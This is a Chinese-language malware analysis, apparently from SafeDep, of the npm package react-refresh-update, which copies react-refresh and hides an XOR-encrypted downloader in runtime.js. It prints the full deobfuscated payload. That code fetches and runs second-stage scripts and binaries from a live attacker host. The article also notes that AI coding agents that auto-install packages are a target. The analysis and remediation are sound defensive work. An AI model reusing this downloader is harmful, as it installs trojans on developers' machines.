恶意 npm 包 react-refresh-update 向开发者设备投放跨平台木马

SafeDep 发现了 react-refresh-update,这是一个恶意 npm 包,伪装成 react-refresh。react-refresh 是 Meta 维护的软件包,每周下载量达 4200 万次,几乎所有 React 构建工具链都在使用它。该软件包是合法源码的近乎完整克隆,但 runtime.js 携带了一个双层混淆的多平台木马下载器,会在 require() 上静默运行。

  • 该软件包完整镜像了 react-refresh,仅做了一处修改:在 runtime.js 中注入了混淆的下载器,同时保持合法模块导出完整,使软件包正常工作
  • 有效载荷会检测主机操作系统,并从 malicanbur[.]pro 下载平台特定的第二阶段文件
  • 在 Windows 上,它获取一个 28.71 MB 的自解压存档(cdrivWin.sh),其中包含一个 PE 二进制文件,解压后通过 wscript 执行 start.vbs,以隐藏和分离方式运行
  • 在 Linux 和 macOS 上,它下载一个 shell 脚本并写入 /var/tmp/macspatch.sh
  • C2 域名 malicanbur[.]pro 被追踪为 Lazarus Group 基础设施,第二阶段二进制文件被归类为 deceptivedevelopment 系列,这是一种 针对自由职业开发者的朝鲜关联活动。该有效载荷已被 独立识别PylangGhost RAT
  • 这遵循了与 pino-sdk-v2 相同的模板:镜像一个流行软件包,注入到一个内部文件中,声称更高的版本号。​AI 编程代理(​Claude Code、​Cursor、​Codex 等)通过 GoogleExa 搜索软件包并自动安装,这种模式正成为越来越常见的目标。一个镜像的代码库和膨胀的版本号足以绕过人工审查

调查

npm 页面是 react-refresh 的复制粘贴版本。描述、关键词和主页(react.dev)完全相同。版本号 2.0.5 是第一个线索:react-refresh 从未发布过 2.x 版本。真正的软件包版本是 CFCF_INLINE_CODE_13。声称 2.0.5 会给人一种更新版本的印象。

react-refreshreact-refresh-update
版本0.18.02.0.5
每周下载量42,152,85238
文件总数99
解压后大小58.4 kB94.5 kB
发布者Meta (facebook/react)jaime9008
最后发布5 个月前11 天前
主页react.devreact.dev
仓库facebook/react.git(已移除)​
npm 上的合法 react-refresh 软件包

合法 react-refresh

npm 上的恶意 react-refresh-update 软件包

恶意 react-refresh-update

文件数量与合法软件包完全匹配:9 个文件。36 kB 的大小差异就是有效载荷。对比两个软件包显示只有一处修改的文件:runtime.js

发布者和版本历史

npm 发布者是 jaime9008[email protected])。该账户只有另一个软件包:@jaime9008/math-service,这是一个在恶意活动开始前一周(2026 年 2 月 23 日)发布的简单测试软件包。这是一个专门为此攻击创建的临时账户。

版本历史显示快速迭代。在四天内发布了六个版本:

版本发布时间
1.0.02026-03-01 20:31 UTC
1.0.12026-03-01 20:34 UTC
1.0.22026-03-01 20:58 UTC
1.0.32026-03-01 21:10 UTC
1.0.42026-03-01 21:19 UTC
2.0.52026-03-05 05:00 UTC

前四个版本在 3 月 1 日的 48 分钟内发布,可能是攻击者在测试有效载荷并验证其端到端工作。3 月 5 日从 1.0.42.0.5 的跳跃是最终生产有效载荷,版本号膨胀到超过合法软件包的 0.18.0

runtime.js 中的有效载荷

react-refresh 中的合法 runtime.js 只有七行:

js
'use strict'; if (process.env.NODE_ENV === 'production') { module.exports = require('./cjs/react-refresh-runtime.production.min.js'); } else { module.exports = require('./cjs/react-refresh-runtime.development.js'); }

react-refresh-update 中,攻击者在第一行之后注入了混淆的有效载荷,同时在底部保留原始模块导出。任何 require 该软件包的代码仍然会获得正常工作的 Fast Refresh 运行时;恶意代码作为加载模块的副作用静默运行。

DiffChecker 显示注入到 react-refresh-update 的 runtime.js 与合法 react-refresh runtime.js 相比的混淆有效载荷

完整 diff 可在 DiffChecker 上查看。

两层去混淆

该有效载荷使用两层混淆。外层是一个自执行的 IIFE,它引导一个轮转字符串表,这是 javascript-obfuscator 的常见模式:

js
(function (_0x501563, _0x2250fa) { const _0x28ca54 = _0x501563(); while (true) { try { const _0x4d047a = parseInt(_0x4d3c(0xf5)) / 0x1 + parseInt(_0x4d3c(0x2d3)) / 0x2 + ... if (_0x4d047a === _0x2250fa) { break; } else { _0x28ca54.push(_0x28ca54.shift()); } } catch (_0x4bff88) { _0x28ca54.push(_0x28ca54.shift()); } } })(_0x3f49, 0x4b183);

内层是 XOR 加密的有效载荷。外层代码包含一个由 xorBuffer() 支持的 decodeSource() 函数,在运行时使用硬编码密钥解密嵌入式编码 blob。实际的下载器从不以明文形式存在于磁盘上;只有在 decodeSource(__ENCODED__, __KEY__) 运行后才会存在于内存中。解码后的源码然后直接传递给 eval()

js
eval(__DECODED_SOURCE__);

这是执行机制:eval() 在当前模块的上下文中运行 XOR 解密后的下载器,使其可以访问 requireprocess 和完整的 Node.js 运行时。因为有效载荷在磁盘上是加密的,只在 eval() 之前的内存中解密,扫描可疑 require('child_process') 调用的静态分析工具不会在源码中找到它们。

提取内层有效载荷需要 hook 到解密调用并转储结果:

js
const __DECODED_SOURCE__ = decodeSource(__ENCODED__, __KEY__); fs.writeFileSync('deobfuscated_payload.js', __DECODED_SOURCE__);

剥离两层后,解码有效载荷中的字符串表解析为:

js
const STRINGS = [ 'https', 'fs', 'child_process', 'path', 'os', 'axios', 'macspatch.sh', 'ML2J', 'https://malicanbur.pro', '/winnmrepair_', '.release', '/linnmrepair_', '/macnmrepair_', '/winnmrepair.release', 'patches.zip', 'patches', 'content-length', 'a', 'GET', 'bytes=', '-', 'stream', 'end', 'error', 'curl/7.68.0', '*/*', 'data', 'close', 'finish', 'tar', '-xf', '-C', 'start.vbs', 'wscript', 'ignore', '', 'win32', 'darwin', '/var/tmp/', 'linux', 'sh', 'inherit', ];

解码后的有效载荷需要 axios 用于 Windows 上的分块 HTTP 下载,但 axios 未列入软件包的 dependenciespeerDependencies。下载器依赖于主机项目中已安装的 axios。如果 axios 不存在,Windows 下载路径会静默失败(catch 块为空)。Linux 和 macOS 路径使用 Node.js 内置的 https 模块,不依赖 axios

入口点 eMAluviA() 在模块加载时立即调用并按平台分派:

js
function eMAluviA() { const platform = os.platform(); // "win32" | "darwin" | "linux" if (platform === "win32") { // chunked download -> extract -> run start.vbs oFrTnsIM("hxxps://malicanbur[.]pro/winnmrepair_ml2j.release", tempZipPath); } else if (platform === "darwin") { // download shell script -> chmod 0755 -> sh https.get("hxxps://malicanbur[.]pro/macnmrepair_ml2j.release", { rejectUnauthorized: false }, ...) } else if (platform === "linux") { // download shell script -> chmod 0755 -> sh https.get("hxxps://malicanbur[.]pro/linnmrepair_ml2j.release", { rejectUnauthorized: false }, ...) } } eMAluviA();

Windows 执行路径

Windows 路径使用分块 HTTP 范围请求通过 axios 下载 hxxps://malicanbur[.]pro/winnmrepair_ml2j.release(28.71 MB)到 %TEMP%\patches.zip。C2 以 cdrivWin.sh 形式提供,这是一个基于 shell 的自解压存档,包含编译的 Windows 二进制文件。分块 10 MB 范围请求策略避免了可能被网络安全控制标记的单个大传输,并支持在中断时恢复。

下载后,下载器使用系统 tar 二进制文件将存档解压到 %TEMP%\patches\,然后通过 wscript 在隐藏的分离进程中运行 start.vbs

js
function DLnURdfL() { const vbsPath = path.join(extractDir, 'start.vbs'); if (fs.existsSync(vbsPath)) { const proc = spawn('wscript', [vbsPath], { detached: true, stdio: 'ignore', windowsHide: true, }); proc.unref(); } }

windowsHide: true 阻止控制台窗口出现。proc.unref() 将 VBS 进程与 Node.js 父进程分离,以便在安装完成后持续运行。start.vbs 立即执行。根据 VirusTotal 在存档上的 contains-pe 行为标签,VBScript 的作用是释放并启动嵌入式编译的 Windows 二进制文件。此时恶意软件正在开发者的机器上运行。

Linux 和 macOS 执行路径

在 Unix 平台上,下载器使用 https.getrejectUnauthorized: false 获取平台特定的 shell 脚本,以绕过针对 C2 的 TLS 证书验证。脚本被写入 /var/tmp/macspatch.sh,设置为可执行,然后通过 sh 运行:

js
https.get(scriptUrl, { rejectUnauthorized: false }, (response) => { const writeStream = fs.createWriteStream('/var/tmp/macspatch.sh'); response.pipe(writeStream); writeStream.on('finish', () => { writeStream.close(() => { fs.chmodSync('/var/tmp/macspatch.sh', 0o755); spawn('sh', ['/var/tmp/macspatch.sh'], { stdio: 'inherit' }); }); }); });

文件名 macspatch.sh 在 macOS 和 Linux 上重复使用。/var/tmp/ 是全局可写的,在许多 Linux 发行版上重启后仍然存在,不像 /tmp。一旦 sh 执行 macspatch.sh,第二阶段有效载荷就在运行。shell 脚本可以完全访问开发者的环境、凭据、SSH 密钥以及触发 require() 的进程可访问的任何秘密。

VirusTotal 检测

Windows 第二阶段,由 C2 作为 cdrivWin.sh(SHA256:0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e,28.71 MB)提供,被 VirusTotal 上的 15/54 个厂商标记为 trojan.python/obfdldr,系列 deceptivedevelopment。行为标签 detect-debug-environmentlong-sleeps 表示正在积极进行沙箱规避。

VirusTotal 对 cdrivWin.sh 的分析,显示 15/54 的检测率,威胁标签为 trojan.python/obfdldr,系列标签为 deceptivedevelopment 和 obfdldr

如果您受到影响该怎么做

立即遏制

  • 删除该软件包:npm remove react-refresh-update
  • 审计您的 package-lock.jsonyarn.lock 中对 react-refresh-update 的任何引用
  • 在 Windows 上检查 %TEMP%\patches\,在 Linux/macOS 上检查 /var/tmp/macspatch.sh 中是否有释放的文件
  • 终止下载器生成的任何正在运行的进程(Windows 上为 wscriptstart.vbs,Linux/macOS 上为 macspatch.sh
  • 在网络或 DNS 级别阻止 malicanbur[.]pro 以防止进一步的 C2 通信

凭据轮换

下载器在 require() 时运行,这意味着任何加载该软件包的进程都已执行了有效载荷。假设受影响环境中可访问的所有凭据都已泄露:

  • 轮换 npm 令牌、SSH 密钥、云提供商凭据(AWS、GCP、Azure)和 API 密钥
  • 撤销并重新生成 CI/CD 秘密(GitHub Actions 秘密、环境变量)
  • 轮换数据库凭据以及存储在 .env 文件或环境变量中的任何令牌
  • 审查并撤销活动的 OAuth 令牌和个人访问令牌

妥协指标(IOC)

指标
软件包名称react-refresh-update
分析版本2.0.5
软件包 SHA2565196c3a832897e30c26da768379750bd3c886890e74d0f28a8921bbd19b553fc
npm 发布者jaime9008[email protected]
恶意文件runtime.js
执行机制XOR 解密有效载荷的 eval()
C2 域名malicanbur[.]pro
Windows 有效载荷 URLhxxps://malicanbur[.]pro/winnmrepair_ml2j.release
Linux 有效载荷 URLhxxps://malicanbur[.]pro/linnmrepair_ml2j.release
macOS 有效载荷 URLhxxps://malicanbur[.]pro/macnmrepair_ml2j.release
Windows 有效载荷 SHA2560be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e
Windows 释放路径%TEMP%\patches.zip%TEMP%\patches\start.vbs
Linux/macOS 释放路径/var/tmp/macspatch.sh
触发器任何加载 require() 的模块的 runtime.js(无安装钩子)
XOR 解密密钥fdfdfdfdf3rykyjjgfkwi
C2 IP(当前 A 记录)31.220.48[.]155
备用 C2 IP173.211.46[.]22:8080

归因

多个独立来源将此软件包链接到 Lazarus Group(DPRK/朝鲜),特别是 DeceptiveDevelopment 活动(也称为 Contagious Interview 追踪)。

VirusTotal 系列分类。​ Windows 第二阶段二进制文件(0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e)被多个 AV 厂商归类为系列标签 deceptivedevelopment。ESET 记录了 DeceptiveDevelopment,这是一个至少自 2023 年以来活跃的朝鲜关联集群,针对 Windows、Linux 和 macOS 上的软件开发者,重点关注加密货币和 Web3 项目。微软将同一活动追踪为 Contagious Interview

Maltrail 威胁情报。​ C2 域名 malicanbur[.]pro 和关联的 IP 173.211.46[.]22:8080 列在 stamparm/maltrailapt_lazarus 追踪下,确认独立归因于 Lazarus 基础设施。

PylangGhost RAT。​ kmsec.uk 发布了详细分析,涉及 react-refresh-update@jaime9008/math-service,将第二阶段有效载荷识别为 PylangGhost RAT,这是一种 Python 编译的远程访问木马。他们的分析确认了相同的 C2(malicanbur[.]pro)、发布者账户(jaime9008)和 XOR 密钥(fdfdfdfdf3rykyjjgfkwi)。该 RAT 的功能包括针对加密货币钱包扩展的 Chrome 扩展枚举。

去混淆后的 runtime.js 有效载荷

以下是从 runtime.js 提取的去混淆有效载荷:

runtime.js — 去混淆后的有效载荷

js
const STRINGS = [ 'https', 'fs', 'child_process', 'path', 'os', 'axios', 'macspatch.sh', 'ML2J', 'https://malicanbur.pro', '/winnmrepair_', '.release', '/linnmrepair_', '/macnmrepair_', '/winnmrepair.release', 'patches.zip', 'patches', 'content-length', 'a', 'GET', 'bytes=', '-', 'stream', 'end', 'error', 'curl/7.68.0', '*/*', 'data', 'close', 'finish', 'tar', '-xf', '-C', 'start.vbs', 'wscript', 'ignore', '', 'win32', 'darwin', '/var/tmp/', 'linux', 'sh', 'inherit', ]; const oaLLcidN = require(STRINGS[0]); const YFhBvOCQ = require(STRINGS[1]); const { spawn } = require(STRINGS[2]); const NuPxFbMG = require(STRINGS[3]); const ZbCzKZWs = require(STRINGS[4]); const xShDGmCh = require(STRINGS[5]); const CcwUFnFU = STRINGS[6]; const mEcvUwwR = STRINGS[7]; const hyurUHYr = STRINGS[8]; const gdMyvoaa = hyurUHYr + STRINGS[9] + mEcvUwwR.toLowerCase() + STRINGS[10]; const ceYpklBk = hyurUHYr + STRINGS[11] + mEcvUwwR.toLowerCase() + STRINGS[10]; const eCcOZwtj = hyurUHYr + STRINGS[12] + mEcvUwwR.toLowerCase() + STRINGS[10]; const imYmlKwR = hyurUHYr + STRINGS[13]; const FPjwcFlx = NuPxFbMG.join(ZbCzKZWs.tmpdir(), STRINGS[14]); const eYRfzbbb = NuPxFbMG.join(ZbCzKZWs.tmpdir(), STRINGS[15]); async function oFrTnsIM(xJfqsdYT, YIFqUQjC, chunkSize = 10 * 1024 * 1024) { let aDwsdudZ = 0; try { const XPrMfXvB = await xShDGmCh.head(xJfqsdYT); aDwsdudZ = parseInt(XPrMfXvB.headers[STRINGS[16]], 10); let wiaEzOZj = 0; if (YFhBvOCQ.existsSync(YIFqUQjC)) { const BJLDxDIf = YFhBvOCQ.statSync(YIFqUQjC); wiaEzOZj = BJLDxDIf.size; } const OhDJyHfN = YFhBvOCQ.createWriteStream(YIFqUQjC, { flags: STRINGS[17], }); while (wiaEzOZj < aDwsdudZ) { const RrFpixkX = Math.min(wiaEzOZj + chunkSize - 1, aDwsdudZ - 1); try { const yWcSyGRa = await xShDGmCh({ url: xJfqsdYT, method: STRINGS[18], headers: { Range: STRINGS[19] + wiaEzOZj + STRINGS[20] + RrFpixkX, }, responseType: STRINGS[21], }); await new Promise((MptQEEap, iULWaqCf) => { yWcSyGRa.data.pipe(OhDJyHfN, { end: false, }); yWcSyGRa.data.on(STRINGS[22], MptQEEap); yWcSyGRa.data.on(STRINGS[23], iULWaqCf); }); wiaEzOZj = RrFpixkX + 1; } catch (error) {} } OhDJyHfN.close(); IcntOcxG(); } catch (error) {} } function hQzakJCi(retr_yCount = 5) { const UknVsDNw = YFhBvOCQ.createWriteStream(FPjwcFlx); const ZMAmQnHb = { headers: { 'User-Agent': STRINGS[24], Accept: STRINGS[25], }, }; const zruCuIDU = oaLLcidN.get(imYmlKwR, ZMAmQnHb, function (response) { if (response.statusCode !== 200) { UknVsDNw.close(() => { YFhBvOCQ.unlinkSync(FPjwcFlx); }); if (retr_yCount > 0) { hQzakJCi(retr_yCount - 1); } return; } const UpRCIXRf = parseInt(response.headers[STRINGS[16]], 10); let QynAymmA = 0; response.on(STRINGS[26], (xYFhUlJy) => { QynAymmA += xYFhUlJy.length; }); response.pipe(UknVsDNw); response.on(STRINGS[22], () => { UknVsDNw.close(() => { if (QynAymmA === UpRCIXRf) { IcntOcxG(); } else if (retr_yCount > 0) { YFhBvOCQ.unlink(FPjwcFlx, (ngNUBqgB) => { if (!ngNUBqgB) hQzakJCi(retr_yCount - 1); }); } else { } }); }); response.on(STRINGS[27], () => {}); response.on(STRINGS[23], (err) => { UknVsDNw.close(() => { YFhBvOCQ.unlink(FPjwcFlx, (cstDZAcC) => { if (cstDZAcC) { } }); if (retr_yCount > 0) { hQzakJCi(retr_yCount - 1); } }); }); }); zruCuIDU.on(STRINGS[23], (err) => { UknVsDNw.close(() => { YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => { if (unlinkErr) { } }); if (retr_yCount > 0) { hQzakJCi(retr_yCount - 1); } }); }); zruCuIDU.setTimeout(30000, () => { zruCuIDU.abort(); UknVsDNw.close(() => { YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => { if (unlinkErr) { } }); if (retr_yCount > 0) { hQzakJCi(retr_yCount - 1); } }); }); UknVsDNw.on(STRINGS[28], () => {}); UknVsDNw.on(STRINGS[27], () => {}); UknVsDNw.on(STRINGS[23], (err) => { YFhBvOCQ.unlink(FPjwcFlx, (unlinkErr) => { if (unlinkErr) { } if (retr_yCount > 0) { hQzakJCi(retr_yCount - 1); } }); }); } function IcntOcxG() { if (!YFhBvOCQ.existsSync(eYRfzbbb)) { YFhBvOCQ.mkdirSync(eYRfzbbb); } const WOxbomoQ = spawn(STRINGS[29], [STRINGS[30], FPjwcFlx, STRINGS[31], eYRfzbbb]); WOxbomoQ.on(STRINGS[27], (aUEjYvUy) => { if (aUEjYvUy === 0) { DLnURdfL(); } else { } }); } function DLnURdfL() { const MRajAmQL = NuPxFbMG.join(eYRfzbbb, STRINGS[32]); if (YFhBvOCQ.existsSync(MRajAmQL)) { const CcBELVLF = spawn(STRINGS[33], [MRajAmQL], { detached: true, stdio: STRINGS[34], windowsHide: true, }); CcBELVLF.unref(); } else { } } function eMAluviA() { let xJNfURgo = STRINGS[35]; const HTbZTylm = ZbCzKZWs.platform(); let OMXthvuc = STRINGS[35]; if (HTbZTylm === STRINGS[36]) { const jedewkFh = ZbCzKZWs.tmpdir(); OMXthvuc = NuPxFbMG.join(jedewkFh, CcwUFnFU); xJNfURgo = gdMyvoaa; } else if (HTbZTylm === STRINGS[37]) { OMXthvuc = STRINGS[38] + CcwUFnFU; xJNfURgo = eCcOZwtj; } else if (HTbZTylm === STRINGS[39]) { OMXthvuc = STRINGS[38] + CcwUFnFU; xJNfURgo = ceYpklBk; } else { return; } if (HTbZTylm != STRINGS[36]) { oaLLcidN .get( xJNfURgo, { rejectUnauthorized: false, }, (qtWTYcbR) => { const OXgfHPnI = YFhBvOCQ.createWriteStream(OMXthvuc); qtWTYcbR.pipe(OXgfHPnI); OXgfHPnI.on(STRINGS[28], () => { OXgfHPnI.close(() => { YFhBvOCQ.chmodSync(OMXthvuc, 0o755); const oAikehZa = OMXthvuc; const QtEAJCaa = spawn(STRINGS[40], [oAikehZa], { stdio: STRINGS[41], }); QtEAJCaa.on(STRINGS[27], (code) => { process.exit(code); }); QtEAJCaa.on(STRINGS[23], (err) => { process.exit(1); }); }); }); } ) .on(STRINGS[23], console.error); } else { oFrTnsIM(gdMyvoaa, FPjwcFlx); } } eMAluviA();

JS 255 行

  • 漏洞
  • 恶意软件
  • 供应链安全
  • npm
  • 依赖混淆